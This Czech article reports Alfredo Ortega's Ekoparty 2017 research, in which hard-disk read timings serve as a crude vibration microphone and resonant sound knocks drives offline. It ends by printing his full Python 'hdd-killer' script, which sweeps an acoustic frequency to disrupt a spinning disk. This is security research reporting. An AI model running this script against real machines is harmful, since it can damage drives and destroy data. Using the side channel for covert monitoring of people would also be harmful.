Proč byste neměli křičet na svůj HDD

Proč byste neměli křičet na svůj HDD

Na počítačové bezpečnostní konferenci Ekoparty 2017 v Buenos Aires ukázal argentinský hacker Alfredo Ortega velmi zajímavý vývoj - systém pro skryté odposlechy prostor bez použití mikrofonu. Zvuk nahrané přímo na pevný disk!

HDD snímá především nízkofrekvenční zvuky vysoké intenzity, kroky a další vibrace. Lidskou řeč zatím nelze rozpoznat, i když vědci provádějí výzkum v tomto směru (rozpoznávání řeči nízkofrekvenčními vibracemi, které jsou zaznamenány např. z gyroskopu nebo HDD).

Zvuk je vibrace vzduchu nebo jiného média. Člověk je vnímá přes bubínek, který přenáší vibrace do vnitřního ucha. Mikrofon je konstruován zhruba jako ucho – i zde jsou vibrace snímány tenkou membránou, která vybudí elektrický impuls. Pevný disk samozřejmě také podléhá mikroskopickým vibracím v důsledku kolísání okolního vzduchu. Je to znát i z technických charakteristik pevných disků: výrobci obvykle uvádějí maximální přípustnou úroveň vibrací a samotný pevný disk se jej často snaží umístit do obalu odolného proti vibracím z pryže nebo jiného izolačního materiálu. Z toho lze snadno usoudit, že zvuky lze nahrávat pomocí HDD. Zbývá jen vymyslet jak.

Alfredo Ortega navrhl unikátní verzi útoku postranním kanálem, jmenovitě časový útok. Tento útok je založen na předpokladu, že se na zařízení v různých časech provádějí různé operace v závislosti na zadaných vstupních datech. V tomto případě jsou „vstupními daty“ vibrace čtecí hlavy a plotny HDD, které korelují s vibracemi prostředí, tedy se zvukem. Měřením doby výpočtu a prováděním statistické analýzy dat lze tedy měřit vibrace hlavy/plotny a tím i vibrace média. Čím delší je zpoždění při čtení dat, tím silnější jsou vibrace HDD, a tedy hlasitější zvuk.

Jak měřit vibrace pevného disku? Velmi jednoduché: stačí spustit systémové volání read () — a zaznamenejte čas potřebný k dokončení. Moderní operační systémy umožňují číst časování systémových volání s přesností na nanosekundy.

Rychlost čtení informací ze sektoru závisí na poloze hlavy a plotny, která koreluje s vibracemi skříně HDD. To je vše.

Statistická analýza se provádí pomocí jednoduchého nástroje Kscope. Jak se říká, všechno důmyslné je jednoduché.

Proč byste neměli křičet na svůj HDD
Nástroj Kscope (stat() syscall)

Kscope je malý nástroj pro vizualizaci drobných rozdílů v době provádění systémových volání. Zdrojzveřejněno na GitHubu.

V samostatném úložišti Doba HDD existuje verze nástroje nakonfigurovaná pro časový útok na pevný disk, to znamená, že je nakonfigurována pro analýzu systémového volání read ().

Ukázka záznamu zvuku pomocí HDD, obsluha utility Kscope


Řeči se takto samozřejmě rozumět nedá, ale jako snímač vibrací se HDD docela hodí. Můžete například zaregistrovat, pokud osoba v tvrdých botách nebo bosá vstoupila do místnosti s počítačem (pravděpodobně, pokud má útočník na nohou měkké tenisky nebo je na podlaze tlustý koberec, HDD nebude schopen zaregistrovat vibrace - to stojí za kontrolu). Počítač je schopen zaregistrovat rozbité sklo nebo jiné incidenty se silnou intenzitou zvuku. To znamená, že pevný disk může sloužit jako druh systému detekce neoprávněného narušení.

Zabiják HDD

Mimochodem, podobnou techniku ​​lze použít k deaktivaci pevných disků. Pouze zde neodstraňujeme oscilace z HDD, ale naopak generujeme oscilace, které jsou přiváděny na HDD. Pokud přehráváte zvuk z reproduktoru na frekvenci, která rezonuje s frekvencí HDD, systém brzy vypne zařízení s chybou I/O (kernel Linuxu úplně vypne HDD po ​​120 sekundách). Samotný pevný disk může utrpět nevratné poškození.

Proč byste neměli křičet na svůj HDD
Linuxové jádro vypnulo pevný disk po 120 sekundách dodání zvuku na rezonanční frekvenci přes reproduktor USB reproduktoru Edifier r19u. Reproduktor je zapnutý zhruba na čtvrtinový výkon (necelých 100 mW) a je umístěn 20 cm od HDD, namířen na stůl pro zesílení vibrací. Rám z Movie s ukázkou vraha HDD

Je zvláštní, že k takovým „útokům“ na HDD někdy dochází zcela náhodou v každodenním životě. Například v září 2016 bylo datové centrum ING Bank nuceno přerušit provoz na 10 hodin po požárním cvičení. Desítky pevných disků selhaly kvůli hlasitému zvuku inertního plynu uvolňovaného z lahví pod vysokým tlakem. Zvuk byl velmi hlasitý (více než 130 dB), ale na pevné disky nemůžete ani křičet - to zvyšuje zpoždění v přístupu k HDD.

Ukázka lidského ječení na pevné disky v datovém centru. Měření latence


Aby vytvořil rezonující zvuk, Alfredo Ortega napsal skript Python nazvaný hdd-killer (video ukázka).

HDD zabijácký skript Je poměrně malý, takže ho můžete celý zveřejnit zde.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Zdroj: www.habr.com

Přidat komentář